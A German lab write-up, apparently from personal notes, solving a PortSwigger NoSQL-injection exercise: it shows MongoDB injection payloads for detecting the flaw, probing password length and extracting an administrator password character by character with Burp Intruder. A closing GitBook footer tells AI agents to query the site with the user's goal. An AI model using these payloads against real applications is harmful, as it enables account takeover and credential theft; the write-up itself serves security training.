> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/nosql-injection/data-extraction-via-nosql-injection.md).

# Datenextraktion durch NoSQL-Injection

Notizen zur Datenextraktion durch NoSQL-Injection für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Kontext zur Behebung.

### Ausnutzung von NoSQL-Injection zum Extrahieren von Daten

**Laborhintergrund**

Die Benutzersuchfunktion dieses Labs basiert auf einer NoSQL-Datenbank **MongoDB**. / Sie ist anfällig für eine \*\*NoSQL-Injection\*\*.

\*\*Ziel:\*\*/ Das Passwort des Benutzers extrahieren **administrator** und sich dann bei seinem Konto anmelden.

Ein gültiges Konto wird bereitgestellt:

* **Kennung:** `wiener`
* **Passwort:** `peter`

```bash
csrf=9FxorVglwXv5ZCx4bSUi29Bge07i8pJP&username=wiener&password=peter
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0eeedd55943417aef5fe9f3c51c1fb11deb39db%2F%7BBFE9184B-88F3-460E-9E42-78A187F7CAF2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse des Vorgangs**

Nach der Verbindung mit `wiener:peter`, wird die folgende Anfrage im Hintergrund gesendet:

```bash
GET /user/lookup?user=
```

Diese Abfrage listet Informationen über Benutzer auf.

* Beispiel:

```bash
GET /user/lookup?user=administrator
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d85087b997a04675895c5c9c9db6c69ab01b13c7%2F%7B0DC947EF-F057-41E8-BCDB-1B9B1290954B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Das Frontend zeigt dann an:

```bash
Ihr Benutzername ist: wiener (Rolle: Benutzer)
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f65dde955f84f2aecdf9b24f45b47fdbfd8b29c%2F%7B81BAFA7D-4AB2-4B1C-9688-EB45B0598C3D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Erkennung der NoSQL-Schwachstelle**

Durch Einfügen eines einzelnen Apostrophs:

```bash
administrator'
```

Der Server gibt einen Fehler zurück:

```terraform
{
  "message": "Beim Abrufen der Benutzerdetails ist ein Fehler aufgetreten"
}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eb0dd16b92335c50063d4598dce7b3356b8f58be%2F%7B84D85DEC-5577-4A66-B50F-6ACA05636613%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Durch Hinzufügen einer immer wahren Bedingung:

```bash
administrator' || true ||'
```

Die Anfrage wird akzeptiert, was das Vorhandensein einer \*\*NoSQL-Injection\*\* bestätigt.

**Ermittlung der Passwortlänge**

Das `this.password.length` Attribut wird verwendet, um die Passwortlänge zu bestimmen.

Testbeispiel:

```bash
wiener' && this.password.length <40 ||'
wiener' && this.password.length == 5 ||'
```

Damit dies ordnungsgemäß funktioniert, ist es notwendig, \*\*d

```bash
wiener' %26%26 this.password.length == 5 ||'
```

\*\*Anwendung auf den Administrator\*\*

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ba3bf97a60fd9872f329685973860495b032b0b%2F%7B173DC55C-8E48-41CB-937A-B2E25D67F63D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wiederholen der Methode mit dem `administrator` Benutzer:

```bash
administrator' && this.password.length == 8 ||'
administrator' %26%26 this.password.length == 8 ||'
```

Die Bedingung wird bestätigt, was darauf hinweist, dass das Passwort des Administrators enthält **8 Zeichen**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d3aa554368718d9190cdbdb0024a967ce30f7b68%2F%7BA3D23C39-D0D2-44F3-A65E-F138177D7C5C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Zeichen für Zeichen extrahieren**

Dann nach Position filtern:

```bash
administrator' %26%26 this.password[0]=='X
```

Diese Anfrage wird an **Intruder**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e456feb63d1f9d98707a3bfa996d3b6699e66edd%2F%7BEF6F503B-6BCF-40F4-8E60-1FC47E633349%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### \*\*Angriff mit Intruder\*\*

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ecd05cc3bd27165c7f0db59da8bbb465ce59710d%2F%7BE67B048A-B9E4-4000-A200-A4071FA859B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Angriffstyp : **Cluster Bomb**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd597e62fb8d2c0dbf61b29bd5c721c1deb418b1%2F%7BC116629F-4883-4FD2-8680-7420ECF9D89C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Parameter:

* Zeichenposition: `0` zu ändern `7` Werte

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07dbfb49d69c559bfcbe73bfc9b1552ab0732944%2F%7B9229457B-E06D-4AF8-B3CB-D69AAAC36BA6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Getestete Zeichen: Alphabet (Buchstabenwörterbuch)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f3aa15d6586af2900110a892f57a1ccc05f77538%2F%7B88D2F94D-60E6-4A0E-8C2F-3F0C8057631C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Durch Analyse der gültigen Antworten wird das Passwort rekonstruiert.

| Zahl | Buchstabe |
| ---- | --------- |
| 0    | v         |
| 1    | x         |
| 2    | t         |
| 3    | r         |
| 4    | m         |
| 5    | e         |
| 6    | z         |
| 7    | s         |

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2a65791aa06c341c9e515c5effa5a1e428a6d90d%2F%7BA2E7C85B-2FB6-4C42-9CEB-37D71CCE24B3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Endergebnis**

**Passwort des Administrators:**

`vxtrmezs`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13b779e14b847c3d9b1328dcc33746c352d39ff0%2F%7BA3688063-A0E5-48B6-A722-4F0007B5DE1D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/nosql-injection/data-extraction-via-nosql-injection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
